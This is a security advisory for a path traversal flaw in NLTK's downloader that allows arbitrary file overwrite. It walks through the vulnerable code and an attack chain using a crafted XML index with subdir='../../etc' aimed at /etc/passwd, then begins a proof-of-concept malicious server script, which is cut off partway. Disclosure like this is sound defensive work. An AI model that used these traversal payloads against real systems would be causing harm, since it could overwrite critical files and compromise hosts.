GitHub Security Advisory: GHSA-469j-vmhf-r6v7
Package: nltk (PIP)
Severity: HIGH (CVSS 8.1)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 3.9.2
Patched in: unpatched

Summary: NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite

Details:
## Vulnerability Description

The NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to:

1. **Arbitrary Directory Creation**: Create directories at arbitrary locations in the file system
2. **Arbitrary File Creation**: Create arbitrary files
3. **Arbitrary File Overwrite**: Overwrite critical system files (such as `/etc/passwd`, `~/.ssh/authorized_keys`, etc.)

## Vulnerability Principle

### Key Code Locations

**1. XML Parsing Without Validation** (`nltk/downloader.py:253`)
```python
self.filename = os.path.join(subdir, id + ext)
```
- `subdir` and `id` are directly from XML attributes without any validation

**2. Path Construction Without Checks** (`nltk/downloader.py:679`)
```python
filepath = os.path.join(download_dir, info.filename)
```
- Directly uses `filename` which may contain path traversal

**3. Unrestricted Directory Creation** (`nltk/downloader.py:687`)
```python
os.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)
```
- Can create arbitrary directories outside the download directory

**4. File Writing Without Protection** (`nltk/downloader.py:695`)
```python
with open(filepath, "wb") as outfile:
```
- Can write to arbitrary locations in the file system

### Attack Chain

```
1. Attacker controls remote XML index server
   ↓
2. Provides malicious XML: <package id="passwd" subdir="../../etc" .../>
   ↓
3. Victim executes: downloader.download('passwd')
   ↓
4. Package.fromxml() creates object, filename = "../../etc/passwd.zip"
   ↓
5. _download_package() constructs path: download_dir + "../../etc/passwd.zip"
   ↓
6. os.makedirs() creates directory: download_dir + "../../etc"
   ↓
7. open(filepath, "wb") writes file to /etc/passwd.zip
   ↓
8. System file is overwritten!
```

## Impact Scope
1. **System File Overwrite**

## Reproduction Steps

### Environment Setup

1. Install NLTK
```bash
pip install nltk
```

2. Prepare malicious server and exploit script (see PoC section)

### Reproduction Process

**Step 1: Start malicious server**
```bash
python3 malicious_server.py
```

**Step 2: Run exploit script**
```bash
python3 exploit_vulnerability.py
```

**Step 3: Verify results**
```bash
ls -la /tmp/test_file.zip
```

## Proof of Concept

### Malicious Server (malicious_server.py)

```python
#!/usr/bin/env python3
"""Malicious HTTP Server - Provides XML index with path traversal"""
import os
import tempfile
import zipfile
from http.server import HTTPServer, BaseHTTPRequestHandler

# Create temporary directory
server_dir = tempfile.mkdtemp(prefix="nltk_malicious_")

# Create malicious XML (contains path traversal)
malicious_xml = """<?xml version="1.0"?>
<nltk_data>
  <packages>
    <package id="test_file" subdir="../../../../../../../../../tmp" 
             url="http://127.0.0.1:8888/test.zip" 
             size="100" unzippe